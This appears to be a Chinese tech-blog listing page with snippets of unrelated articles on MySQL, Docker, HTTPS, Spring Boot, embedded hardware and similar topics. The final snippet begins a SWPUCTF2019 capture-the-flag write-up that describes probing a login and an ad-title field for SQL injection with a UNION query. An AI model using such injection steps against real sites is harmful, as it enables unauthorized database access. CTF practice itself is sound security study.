    1 理论基础 PID控制器应用广泛 其一般形式为 可见 PID控制器的性能取决于Kp Ki Kd这3个参数是否合理 因此 优化PID控制器参数具有重要意义 目前 PID控制器参数主要是人工调整 这种方法不仅费时 而且不能保证获得最佳的性能
  • MySQL的C++封装

    最近的项目数据库管理系统从SQL SERVER2000迁移到了MySQL上来 之前基于ADO的连接方式连接上SQL SERVER 使用MySQL数据库管理系统之后 直接在MySQL的C语言的API上以面向对象的方式封装实现了数据库的创建 表
  • C语言操作EXCEL文件(读写)

    C语言操作EXCEL文件 读写 本文主要介绍通过纯C语言进行EXCEL的读写操作 修改时间2018 08 28 如果运行结果均是0 请看文章最后一节 C语言读操作 C语言写操作 在之前需要使用C语言读取Excel文件内容的功能 查阅了很多资
  • markdown 之项目目录文件结构展示

    一般来说 我们为项目写readme文档时 都会对整个目录的项目结构做个说明 例如这样的 我们可以用mddir来生成项目目录结构 mddir 使用命令 node mddir relative path 例子 打开终端或命令提示符 并cd进入m
  • ubuntu系统离线安装docker20.10.7版本及nvidia-container-runtime3.11.0-1版本(离线安装nvidia-docker)

    1 下载3个docker相关安装包 containerd io 1 4 6 1 amd64 deb docker ce cli 20 10 7 3 0 ubuntu xenial amd64 deb docker ce 20 10 7 3
  • HTTPS

    本文首发于我的个人技术博客 看完还不懂HTTPS我直播吃翔 存在即合理 http是非常常见的应用层协议 是超文本传输协议的简称 其传输的内容都是明文的 在这个混乱的世界 明文传输信息想想就可怕 网络 小混混 的手段远比我们这些凡人高明得多
  • SpringBoot2-5

    先解决一个问题 报错1 java 无效的目标发行版 17 修改位置 maven的配置需要改为选取本地maven所在目录 这些都是java指定了1 8比较低但是又都用的版本导致 再解决一个问题 报错2 java 无法访问org springf
  • 《小家:越住越大》

    第一章 二八定律 房子单价很贵 但却像人一样 慢慢被不必要的杂物堆积 变得杂乱 空间不足 人需要减肥 房子也需要减负 常用的东西 20 放在随手可及的地方 不常用的东西 80 合理收纳 这就是隐藏与显示的二八定律 收纳百分之八十的生活杂物
  • 阿里开源 Dragonwell JDK 重磅发布 GA 版本:生产环境可用

    今年 3 月份 阿里巴巴重磅开源 OpenJDK 长期支持版本 Alibaba Dragonwell 的消息 在很长一段时间内都是开发者的讨论焦点 该项目在 Github 上的 Star 数迅速突破 1400 近日 Dragonwell J
  • ADC0804的使用

    一 前言介绍 这个博客主要说明ADC0804的使用 数码管的动态显示作为辅助功能 方便观察 利用滑变和5V电源来获得一个输入电压值 输入到ADC0804的输入端 二 ADC0804芯片的介绍 1 A D转换概念 即模数转换 输入模拟量 比如
  • Linux USB摄像头驱动【转】

    本文转载自 http www itdadao com articles c15a509940p0 html 在 cortex a8 中 可接入摄像头的接口通常可以分为两种 CAMERA 接口和 USB 接口的摄像头 这一章主要是介绍 USB
  • 什么是Python?

    Python由荷兰数学和计算机科学研究学会的吉多 范罗苏姆 Guido van Rossum 于1990 年代初设计 作为一门叫做ABC语言的替代品 Python提供了高效的高级数据结构 还能简单有效地面向对象编程 Python语法和动态类
  • 设计模式(单例模式、工厂模式、观察者模式)

    设计模式是什么 背景 目前企业级分布式软件开发普遍采用面向对象的方法 OOD 面向对象设计 直接导致了设计模式的发展 开发面向对象的软件是困难的 而开发可复用的面向对象的软件更难 有经验的设计者重用过去的方案 采用设计模式使设计和代码具有良
  • SWPUCTF2019web题复现

    SWPU2019 web1 easy web 有一个登录框 试了试万能密码失败 那就注册吧 登录后发现有一个申请广告 在标题处输入11111111 发现报错 应该是sql注入 禁用了or 空格等等 先使用union发现有22列 1 unio